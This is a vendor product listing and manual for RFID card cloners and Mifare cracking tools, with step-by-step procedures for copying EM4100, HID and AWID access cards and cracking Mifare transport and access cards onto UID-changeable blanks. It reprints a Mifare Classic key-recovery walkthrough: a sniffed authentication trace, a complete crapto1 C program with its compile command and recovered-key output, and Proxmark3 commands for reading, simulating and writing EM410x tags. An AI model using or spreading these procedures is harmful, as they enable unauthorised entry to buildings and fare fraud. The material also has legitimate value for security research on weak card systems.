Handheld 125Khz RFID Copier ID card cloner

It is designed to backup or duplicate the card ID from the EM4100 or compatible card format.

GENERAL DESCRIPTION 

It is designed to backup or duplicate the card ID from the EM4100 or compatible card format. 

Support Tag

- 125K EM4100 or compatible protocol

Feature

• Support 125Khz EM4100 or compatible card format only 

• Standalone 2 buttons Simple operation 

• don’t need connect with computer for operation 

• Built-in LED and buzzer indicator 

• Built-in transceiver antenna 

• Battery power : 3V ( 2 x AAA battery ) 

• No external power is needed 

• Portable design / size : (115 x 70 x 30) mm 

Operation Manual – duplicate a EM4100 Card ID

[1] insert 2 x AAA battery

[2] power switch on (Power LED will flash per second) 

[3] Place a EM4100 or compatible card on the reader’s detection area . 

[4] press “Read” button , 

If the card format is correct , “Read” LED will on and “beep” 

(If the card is not supported , No response from the reader) 

[5] take away the EM4100 card and place a 125K RW card on the reader’s detection area. 

Press “Write” button about ~1-2 second “Write LED” will keep on , 

If write success , “write LED” will flash and beep 4 times. 

(If card type is incorrect , No response from the reader)

Software and Device for crack and copy Mifare 1k S50 UID

Mifare / Transportation card / Access cards cloner

• Incredible! this device can crack mifare card,Transportation card,  Access cards, and copy the card to a new uid changeable mifare card. 
• This software supports ACR122U (the SDK with itself cannot change UID and copy) NFC contactless smart card reader, with this device , the software can change and remodified the UID of the changeable UID Miare 1k S50 cards .

Simply operation:

1. Install the driver and connect the device to computer, the device's light is red when there are not card on the reader, the light is green when there are card on the reader.

mifare cloner with UID changeable mifare 1k card with backdoor

mifare cloner with UID changeable mifare 1k card with backdoor(keyfob)

2. Connect the u-disk to computer when open the software.

3. mifare cracker

 mifare-cracker.exe

The software is written by net, so you need to install net framework 3.5 or above.

Double click the software and open it, connect the reader to the computer.

Place the card to be cracked to the reader, and the reader’ light is green.

Click the CrackCard button and start crack, their will be progress on the soft,
when finished there will be showed on the top of the software.

The crack time will take about 1-15 minute, depending on the number of sectors 

that need to be cracked.

After successfully crack, there will be a file generated by the software, you can see it on the directory of C: (you can change it to other directory)

This file is the content of the card.

4. Copy 2 UIDCard.exe

Connect the reader to computer and place a UID card to the reader. 

open the software.

Click Initialize and connect, then brown the dump file of the card to be copied.

You can change the content of on the right window,  use the CopyCard button to copy the content to the UID changeable mifare card. mifare Tool.exe (read & write ordinary mifare card, used with acr122u)

ID / HID / AWID card cloner portable

• AWID card, EM 4100 ID card HID card copier portable, used battery for power.
• It can copy AWID card, LF HID card and EM card, both of them are LF card(125khz).
• The usage is the same as the portable ID card copier.

Can not copy HID indala card!

Feature

• Duplicate the card ID from the LF HID card and EM4100/TK4100 card or keyfob for backup purpose
• Support 125KHz HID CARD, EM4100 or compatible card format

A quick video of this copier in action

http://www.facebook.com/photo.php?v=116096655253257&set=vb.100005587693138&type=2&theater

125Khz RFID Honeywell HID & EM4100 Card / Tag Reader, Writer, Copier / Cloner!

Incredibly Easy to Read / Edit / Copy / WRITE RFID HID & Rosslare Tags

The most advanced RFID reader / writer available!Clone access cards / tags in seconds!

Duplicate 125Khz HID (Honeywell) and EM4100 (Rosslare and other RFID companies) cards and tags. 
Easy to use. Simply read it, and then write it. You can even edit the string to create new variations!

Application

• backup or duplicate the HID proxcard ID 
• customer made the HID card with own or continuous serial no.

Features
•  protocol support 
- program “HI-RW-T1” as HID Proxcard wiegand format 
•  - wiegand format support : 24,26,32,34,35,36,37 and 40 
•  USB 1.1/2.0 interface (virtual com port)
- no external power source needed 
- need USB driver installation 
•  Built-in LED and buzzer 
•  Built-in transceiver antenna 
•  Read/write distance : ISO card (~2-3 cm) 
•  Free programmer program 
•  Card size version (95x60x10)mm -- It's a small device

The device is connected to computer via a mini USB cable, not batterry needed.

See how to use it

1. plug the device to computer and install the driver.

[1] install the following USB driver before connect the readerto PC
run CD path:\USB driver\CH341SER.EXE
[2] after driver installation , connect the reader to PC through the USB cable
[3] it will detect and install the “USB to serial “ virtual com port driver automatically
[4] a “virtual com port” will be found from the device manager as follow :
(Remarks : writer program can support com port number 1-16 only)

Getting the sector key of a mifare card

Author : xfpga Date : 2012-12-12 12:28:59

Getting the sector key of a mifare card(from google code of proxmark3) Snooping on Mifare communications This is a working example of how the sector keys of mifare cards can be retrieved with a Proxmark3, using the "crapto-1" package found on Google Code. The trace below is taken from a hi14asnoop session followed by hf 14a list to get the beginning of the authentication & encryption protocol : Commands Comment + 561882 : 1 : 26 REQA + 64 : 2 : TAG 04 00 Answer reqa + 10217 : 2 : 93 20 Select + 64 : 5 : TAG 9c 59 9b 32 6c The card’s UID is therefore : 9c 59 9b 32 + 12313 : 9 : 93 70 9c 59 9b 32 6c 6b 30 Select with UID + 64 : 3 : TAG 08 b6 dd Tag type (Mifare 1K) + 923318 : 4 : 60 00 f5 7b AUTH (block 00) + 112 : 4 : TAG 82 a4 16 6c Tag challenge (nt, "Nonce Tag") + 6985 : 8 : a1 e4 ! 58 ce ! 6e ea ! 41 e0 ! nr XOR ks1 (Nonce Reader, encrypted, 4 bytes),  ar XOR ks2 (Answer Reader to Nonce Tag, encrypted) + 64 : 4 : TAG 5c ! ad f4 39 ! at XOR ks3 (Answer Tag, encrypted) In order to extract the key for sector 0 from the exchange, we need the following elements : Tag UID Tag challenge (nt) Reader challenge, encrypted (nr xor ks1, aka nr) Reader response, encrypted (ar XOR ks2, aka ar) Tag response, encrypted (at XOR ks3, aka at) In the example above : UID : 0x9c599b32 nt : 0x82a4166c nr : 0xa1e458ce ar : 0x6eea41e0 at : 0x5cadf439 Those can then be used in the following "crapto1" test program : // Test-file: test2.c #include "crapto1.h" #include <stdio.h> int main (void) {  struct Crypto1State *revstate;  uint64_t lfsr;  unsigned char* plfsr = (unsigned char*)&lfsr;  uint32_t uid                = 0x9c599b32;  uint32_t tag_challenge      = 0x82a4166c;  uint32_t nr_enc             = 0xa1e458ce;  uint32_t reader_response    = 0x6eea41e0;  uint32_t tag_response       = 0x5cadf439;  uint32_t ks2                = reader_response ^ prng_successor(tag_challenge, 64);  uint32_t ks3                = tag_response ^ prng_successor(tag_challenge, 96);  printf("nt': %08x\n",prng_successor(tag_challenge, 64));  printf("nt'': %08x\n",prng_successor(tag_challenge, 96));  printf("ks2: %08x\n",ks2);  printf("ks3: %08x\n",ks3);  revstate = lfsr_recovery(ks2, ks3);  lfsr_rollback(revstate, 0, 0);  lfsr_rollback(revstate, 0, 0);  lfsr_rollback(revstate, nr_enc, 1);  lfsr_rollback(revstate, uid ^ tag_challenge, 0);  crypto1_get_lfsr(revstate, &lfsr);  printf("Found Key: [%02x %02x %02x %02x %02x %02x]\n\n",plfsr[0],plfsr[1],plfsr[2],plfsr[3],plfsr[4],plfsr[5]);  return 0; } Then compiled with : #gcc -o test2 test2.c crapto1.c crypto1.c And run like this : ./test2 nt': 8d65734b nt'': 9a427b20 ks2: e38f32ab ks3: c6ef8f19 Found Key: [ff ff ff ff ff ff] you can use the gui soft to do so, it is the same.

proxmark3 read simulation and clone em4100 id card

em410xread [clock]

Reads the ID from an EM410x tag (the plot should contain the raw tag). Clock is optional, usually has a value of 64.

Example :

> loread> losamples 2000
> em410xreadAuto-detected clock rate: 64
EM410x Tag ID: 1a0041375d

em410xsim [tag id]

Simulates an EM410x tag with the specified ID. Example :

> em410xsim 1a0041375d
(The orange light will turn on. Press the button on the PM3 to stop emulating the tag.)

em410xwatch

Watches for an EM410x tag until it detects one. Essentially "loread + losamples 2000 + em410xread" until a tag is detected. Example :

> em410xwatchAuto-detected clock rate: 64
EM410x Tag ID: 1a0041375d

em410xwrite    
copy em4100 id to a t5557 card.
 
proxmark3> lf em4x
help             This help
em410xread       [clock rate] -- Extract ID from EM410x tag
em410xsim        <UID> -- Simulate EM410x tag
em410xwatch      Watches for EM410x tags
em410xwrite      <UID> <'0' T5555> <'1' T55x7> -- Write EM410x UID to T5555(Q5)
or T55x7 tag
em4x50read       Extract data from EM4x50 tag
proxmark3>

--------
gezhi electronic
www.xfpga.com or ebay shop
email: xfpga@hotmail.com
qq:1074079485
tel: +86-13113330725
Michael